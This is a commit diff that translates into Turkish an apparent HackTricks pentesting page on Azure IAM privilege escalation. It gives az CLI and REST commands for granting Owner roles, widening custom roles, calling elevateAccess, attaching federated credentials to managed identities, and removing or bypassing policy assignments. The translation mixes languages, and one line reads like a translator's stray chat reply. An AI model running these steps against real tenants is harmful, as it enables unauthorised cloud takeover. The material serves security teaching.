Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2026-05-05 13:20:24 +00:00
parent 71610e49a9
commit db3a0f2bbb
@@ -4,24 +4,51 @@
## Azure IAM
Daha fazla bilgi için bakınız:
Daha fazla bilgi için şunlara bakın:
{{#ref}}
../az-services/az-azuread.md
{{#endref}}
Bir principal'ın **authorization itself**'i değiştirmesine izin veren permissions genellikle **privesc primitives**'dir. Bu, özellikle **management group** veya **subscription** scope'larında verildiklerinde tehlikelidir, çünkü permissions child resources tarafından devralınır.
### Microsoft.Authorization/roleAssignments/write
Bu izin, belirli bir scope üzerinde principal'lara rol ataması yapılmasına izin verir; bu, bir saldırganın kendine daha ayrıcalıklı bir rol atayarak yetkilerini yükseltmesine olanak tanır:
Bu permission, belirli bir scope üzerinde role assignments oluşturmayı sağlar ve bir attacker'ın kendisine veya kontrol ettiği başka bir principal'a daha ayrıcalıklı bir role atama yaparak privileges yükseltmesine izin verir.
Typical flow:
```bash
# Login and confirm current context
az login
az account show
# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"
```
Eğer ele geçirilmiş principal bu scope üzerinde bu action'a sahipse, doğrudan `Owner`, `Contributor`, `Key Vault Secrets Officer` veya bu scope içinde उपलब्ध herhangi bir diğer built-in/custom role gibi ayrıcalıklı bir role grant edebilir:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
Hedef kullanıcı/service principal/managed identity için **principal object ID** bilgisini bilmek, yeni rolü vermek için yeterlidir. Bu, rolü farklı bir kontrol edilen principal'a atayarak **self-privesc**, **lateral movement** veya **persistence** için kötüye kullanılabilir.
Bu izin, bir role verilen izinleri değiştirmeye olanak tanır; bu da bir attacker'ın atadığı role daha fazla izin vererek escalate privileges gerçekleştirmesine olanak sağlar.
### Microsoft.Authorization/roleDefinitions/write
Create the file `role.json` with the following **içerik**:
Bu izin, custom role definitions oluşturmayı veya değiştirmeyi sağlar. Pratikte bu tehlikelidir çünkü bir saldırgan şunları yapabilir:
- Halihazırda compromised principal'a **zaten atanmış** bir custom role'u değiştirebilir ve yeni izinleri hemen etkili hale getirebilir.
- Yeni, aşırı yetkili bir custom role oluşturup ardından onu atayabilir; genellikle `Microsoft.Authorization/roleAssignments/write` ile zincirlenir.
Tipik akış:
```bash
# Find the current assignments
az role assignment list --all --output table
# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"
```
Lütfen `role.json` dosyası için içeriği paylaşın; ardından aynen oluşturacak şekilde hazırlayayım.
```json
{
"roleName": "<name of the role>",
@@ -33,19 +60,22 @@ Create the file `role.json` with the following **içerik**:
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}
```
Daha sonra rol izinlerini önceki tanımlamayı çağırarak güncelleyin:
Ardından önceki tanımı çağırarak rol izinlerini güncelleyin:
```bash
az role definition update --role-definition role.json
```
Eğer değiştirilmiş role **zaten atanmışsa**, bu yeni bir role assignment oluşturmak yerine daha hızlı bir yol olabilir çünkü permission inflation mevcut atamaya uygulanır.\
Attacker yalnızca `roleDefinitions/write` yetkisine sahipse, yine de kompromize edilmiş principallara zaten atanmış rolleri değiştirerek bunu weaponize edebilir.
### Microsoft.Authorization/elevateAccess/action
Bu izin, ayrıcalıkları yükseltmeye ve herhangi bir principal'e Azure resources üzerinde izin atamaya olanak tanır. Bu, Entra ID Global Administrators'a verilmek üzere tasarlanmıştır; böylece onlar Azure resources üzerindeki izinleri de yönetebilirler.
Bu permissions, ayrıcalıkları yükseltmeye ve herhangi bir principala Azure resources için permissions atamaya izin verir. Bu, Entra ID Global Administratorsa da verilmesi amacıyla tasarlanmıştır; böylece Azure resources üzerindeki permissionsları da yönetebilirler.
> [!TIP]
> Sanırım kullanıcının elevate çağrısının çalışması için Entra ID'de Global Administrator olması gerekiyor.
> Bence elevate callun çalışması için kullanıcının Entrad ID içinde Global Administrator olması gerekiyor.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +85,29 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Bu izin, managed identities'e Federated credentials eklemeyi sağlar. Örneğin bir Github repo'sundaki Github Actions'a bir managed identity için erişim vermek. Sonuç olarak, **herhangi bir kullanıcı tarafından tanımlanmış managed identity'ye erişim** sağlar.
Bu izin, **user-assigned managed identities** üzerinde **Federated Identity Credentials (FICs)** oluşturma/güncelleme olanağı verir. Pratikte bu, bir saldırganın harici bir identity providera yeni bir trust relationship eklemesine ve ardından bu managed identity olarak token almasına izin verir.
Bir Github repo'suna bir managed identity'ye erişim vermek için örnek komut:
Bu bir **persistence / identity hijacking primitive**idir: managed identity zaten Azure resources erişimine sahipse, saldırganın yalnızca eşleşen bir external workload (örneğin, bir GitHub Actions workflow) oluşturması ve external token’ı Azure tokenlarıyla exchange etmesi gerekir.
Bunu abuse etmeden önce doğrulanması yararlı noktalar:
- Hangi **managed identity** değiştirilebilir
- Bu managed identityye zaten hangi **scope/roles** atanmış
- Token exchange sırasında hangi **issuer**, **subject** ve **audience** kabul edilecek
FICyi özel CLI komutuyla oluşturabilirsiniz:
```bash
az identity federated-credential create \
--name "github-federated-identity" \
--identity-name testMI \
--resource-group bialystok-rg \
--issuer "https://token.actions.githubusercontent.com" \
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
--audiences "api://AzureADTokenExchange"
```
Veya raw REST ile.
Managed identity'ye bir GitHub repo'ya erişim vermek için örnek komut:
```bash
# Generic example:
az rest --method PUT \
@@ -71,26 +121,32 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
FIC oluşturulduktan sonra, saldırgan dış workloaddan kimlik doğrulaması yapabilir ve Azureda zaten verilmiş olan managed identity izinlerini kullanabilir. GitHub OIDC / workload identity kötüye kullanımı hakkında daha fazla bilgi için şuna bakın:
{{#ref}}
../az-basic-information/az-federation-abuse.md
{{#endref}}
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Bir saldırgan, management group, subscription veya resource group üzerinde `Microsoft.Authorization/policyAssignments/write` veya `Microsoft.Authorization/policyAssignments/delete` iznine sahipse, belirli işlemleri engelleyen güvenlik kısıtlamalarını **devre dışı bırakma** ihtimaliyle **Azure policy assignments**'ı değiştirebilir veya silebilir.
Bir management group, subscription veya resource group üzerinde `Microsoft.Authorization/policyAssignments/write` ya da `Microsoft.Authorization/policyAssignments/delete` iznine sahip bir saldırgan, Azure policy assignmentsi **değiştirebilir veya silebilir** ve bu da belirli işlemleri engelleyen **güvenlik kısıtlamalarını devre dışı bırakabilir**.
Bu, daha önce politika tarafından korunan kaynaklara veya işlevselliklere erişim sağlar.
Bu, daha önce policy tarafından korunan resources veya functionalitylere erişim sağlar.
**Delete a policy assignment:**
**Bir policy assignmenti sil:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**Bir politika atamasını devre dışı bırak:**
**Bir policy assignment'i devre dışı bırakın:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**Değişiklikleri doğrulayın:**
**Değişiklikleri doğrula:**
```bash
# List policy assignments
az policy assignment list \
@@ -103,11 +159,11 @@ az policy assignment show \
```
### Microsoft.Authorization/policyDefinitions/write
İzin `Microsoft.Authorization/policyDefinitions/write` olan bir saldırgan, **Azure policy tanımlarını değiştirebilir**, ortam genelindeki güvenlik kısıtlamalarını kontrol eden kuralları değiştirerek.
`Microsoft.Authorization/policyDefinitions/write` iznine sahip bir saldırgan, **Azure policy definitions**'ları değiştirebilir; bu da ortam genelindeki security restrictions'ları kontrol eden kuralları değiştirir.
Örneğin, kaynak oluşturma için izin verilen bölgeleri kısıtlayan bir policy tanımı, herhangi bir bölgeye izin verecek şekilde değiştirilebilir veya policy etkisi (effect) değiştirilerek etkisiz hale getirilebilir.
Örneğin, kaynak oluşturmak için izin verilen bölgeleri sınırlayan bir policy, herhangi bir bölgeye izin verecek şekilde değiştirilebilir veya policy effect etkisiz hale gelecek biçimde değiştirilebilir.
**Bir policy tanımını değiştir:**
**Bir policy definition'ı değiştirin:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
@@ -121,23 +177,23 @@ az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
Bu izne (`Microsoft.Management/managementGroups/write`) sahip bir saldırgan, **yönetim gruplarının hiyerarşik yapısını değiştirebilir** veya **yeni yönetim grupları oluşturabilir**, böylece üst seviyelerde uygulanan kısıtlayıcı politikalardan kaçabilir.
`Microsoft.Management/managementGroups/write` iznine sahip bir attacker, management groupsun hiyerarşik yapısını **değiştirebilir** veya **yeni management groups oluşturabilir**, bu da daha üst seviyelerde uygulanan kısıtlayıcı policiesi potansiyel olarak bypass etmesine olanak tanır.
Örneğin, bir saldırgan kısıtlayıcı politikaların olmadığı yeni bir yönetim grubu oluşturabilir ve ardından abonelikleri buraya taşıyabilir.
Örneğin, bir attacker kısıtlayıcı policies olmadan yeni bir management group oluşturabilir ve ardından subscriptions’ı buna taşıyabilir.
**Yeni bir yönetim grubu oluştur:**
**Yeni bir management group oluşturun:**
```bash
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**Yönetim grubu hiyerarşisini değiştir:**
**Bir management group hiyerarşisini değiştirin:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**Değişiklikleri doğrulayın:**
**Değişiklikleri doğrula:**
```bash
az account management-group list --output table
@@ -147,9 +203,9 @@ az account management-group show \
```
### Microsoft.Management/managementGroups/subscriptions/write
Bu izne (`Microsoft.Management/managementGroups/subscriptions/write`) sahip bir saldırgan, abonelikleri yönetim grupları arasında **taşıyabilir**, aboneliği daha az kısıtlayıcı veya hiç politika olmayan bir gruba taşıyarak potansiyel olarak **kısıtlayıcı politikalardan kaçınabilir**.
`Microsoft.Management/managementGroups/subscriptions/write` iznine sahip bir attacker, **subscription'ları management groups arasında taşıyabilir**, potansiyel olarak bir subscription'ı daha az kısıtlayıcı ya da hiç policy olmayan bir gruba taşıyarak **kısıtlayıcı policies'den kaçabilir**.
**Aboneliği farklı bir yönetim grubuna taşıma:**
**Bir subscription'ı farklı bir management group'a taşı:**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
@@ -161,4 +217,11 @@ az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
## References
- [IAM the Captain Now Hijacking Azure Identity Access](https://trustedsec.com/blog/iam-the-captain-now-hijacking-azure-identity-access)
- [Assign Azure roles using the REST API - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-rest)
- [Azure custom roles](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
- [Create trust between user-assigned managed identity and external identity provider](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity)
{{#include ../../../banners/hacktricks-training.md}}